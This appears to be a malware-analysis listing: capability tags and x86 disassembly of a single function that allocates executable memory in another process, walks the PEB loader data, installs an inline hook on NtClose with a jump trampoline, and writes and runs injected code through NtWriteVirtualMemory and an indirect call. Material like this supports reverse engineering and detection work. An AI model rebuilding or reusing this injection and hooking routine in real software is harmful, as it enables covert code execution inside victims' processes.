Function at 0x336128
Capabilities:
Access peb ldr_data
Allocate or change rwx memory
Execute shellcode via indirect call

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x10b0
call sub.ntdll.dll__chkstk
push ebx
push esi
push edi
push 0x40
push 0x3000
xor ebx, ebx
lea eax, [ebp - 0xc]
push eax
push ebx
lea eax, [ebp - 4]
push eax
push dword [ebp + 8]
mov dword [ebp - 8], ebx
mov dword [ebp - 0x14], ebx
mov dword [ebp - 4], ebx
mov dword [ebp - 0xc], 0x1000
call dword [sym.imp.ntdll.dll_NtAllocateVirtualMemory]
test eax, eax
js 0x33639d
xor eax, eax
push 0x3d9ac241
push ebx
mov word [ebp - 0x24], ax
call fcn.00335362
push 0x1a5
mov esi, eax
push ebx
mov edi, 0x34e8a0
push edi
mov dword [ebp - 0x30], esi
call sub.ntdll.dll_memset
add esp, 0x14
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + 8]
mov ecx, dword [ebp + 0x18]
mov edx, dword [ebp - 4]
sub edx, ecx
mov dword [0x34ea3d], ecx
lea ecx, [ebp - 8]
push ecx
push 0x34e911
push esi
push eax
add edx, 0x3b2
push edi
mov dword [0x34e90d], eax
mov dword [reloc.ntdll.dll_NtClose], esi
mov dword [0x34e8a4], edx
mov dword [0x34e911], 0x10
call fcn.0032a092
add esp, 0x14
test eax, eax
je 0x336293
mov eax, dword [0x34e911]
mov ebx, dword [ebp - 8]
mov esi, dword [reloc.ntdll.dll_NtClose]
mov ecx, eax
mov edi, ebx
xor edx, edx
repe cmpsb byte [esi], byte es:[edi]
je 0x33626b
push eax
push dword [0x34e8a0]
call fcn.0032a69f
pop ecx
pop ecx
test eax, eax
je 0x33626b
mov eax, dword [reloc.ntdll.dll_NtClose]
mov dword [ebp - 0x18], eax
mov eax, dword [ebx]
mov dword [ebp - 0x20], eax
mov eax, dword [ebx + 4]
mov dword [ebp - 0x1c], eax
pushal
mov esi, dword [ebp - 0x18]
mov eax, dword ds:[esi]
mov edx, dword ds:[esi + 4]
mov ebx, dword [ebp - 0x20]
mov ecx, dword [ebp - 0x1c]
lock cmpxchg8b qword ds:[esi]
jne 0x33623d
popal
mov eax, dword [0x34e911]
mov ebx, dword [ebp - 8]
cmp eax, 8
jbe 0x33626b
add eax, 0xfffffff8
push eax
lea eax, [ebx + 8]
push eax
mov eax, dword [reloc.ntdll.dll_NtClose]
add eax, 8
push eax
call sub.ntdll.dll_memcpy
add esp, 0xc
test ebx, ebx
je 0x336291
mov esi, dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapValidate]
test eax, eax
je 0x336291
push ebx
push 0
call esi
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor ebx, ebx
push 5
push dword [ebp - 0x30]
call fcn.0032a43b
push eax
push dword [ebp - 0x30]
mov dword [ebp - 0x2c], eax
lea eax, [ebp - 0x70]
push eax
call sub.ntdll.dll_memcpy
mov ecx, dword [ebp - 0x30]
sub ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x2c]
sub ecx, 0xf72
mov dword [ebp - 8], ecx
lea ecx, [ebp - 8]
push ecx
lea ecx, [ebp - 0x2c]
push ecx
lea ecx, [ebp - 0xb0]
push ecx
push eax
push dword [ebp - 0x30]
mov dword [ebp - 0x28], eax
call fcn.0032a484
add esp, 0x28
test eax, eax
je 0x33639d
mov eax, dword [ebp - 0x2c]
mov byte [ebp + eax - 0xb0], 0xe9
mov eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x2c]
sub eax, 5
mov dword [ebp + ecx - 0xaf], eax
push 0x1f0
lea eax, [ebp - 0x2a0]
push ebx
mov ecx, 0x384
mov esi, fcn.00321448
lea edi, [ebp - 0x10b0]
push eax
rep movsd dword es:[edi], dword [esi]
call sub.ntdll.dll_memset
mov eax, dword [ebp - 4]
add esp, 0xc
push 0x23
pop ecx
lea esi, [ebp - 0xb0]
lea edi, [ebp - 0x13e]
rep movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
lea ecx, [eax + 0xf72]
mov dword [ebp - 0xc80], ecx
mov ecx, dword [ebp + 0xc]
mov dword [ebp - 0xe56], ecx
lea ecx, [ebp - 0x10]
push ecx
mov esi, 0x1000
push esi
lea ecx, [ebp - 0x10b0]
push ecx
push eax
push dword [ebp + 8]
call dword [sym.imp.ntdll.dll_NtWriteVirtualMemory]
test eax, eax
js 0x33639d
cmp dword [ebp - 0x10], esi
jne 0x33639d
cmp dword [ebp + 0x10], ebx
je 0x336382
push dword [ebp + 0x14]
call dword [ebp + 0x10]
pop ecx
xor esi, esi
inc esi
push esi
push 0x34e8a0
push dword [ebp + 8]
call fcn.0032a5a5
add esp, 0xc
test eax, eax
je 0x33639d
mov dword [ebp - 0x14], esi
mov eax, dword [ebp - 0x14]
pop edi
pop esi
pop ebx
leave
ret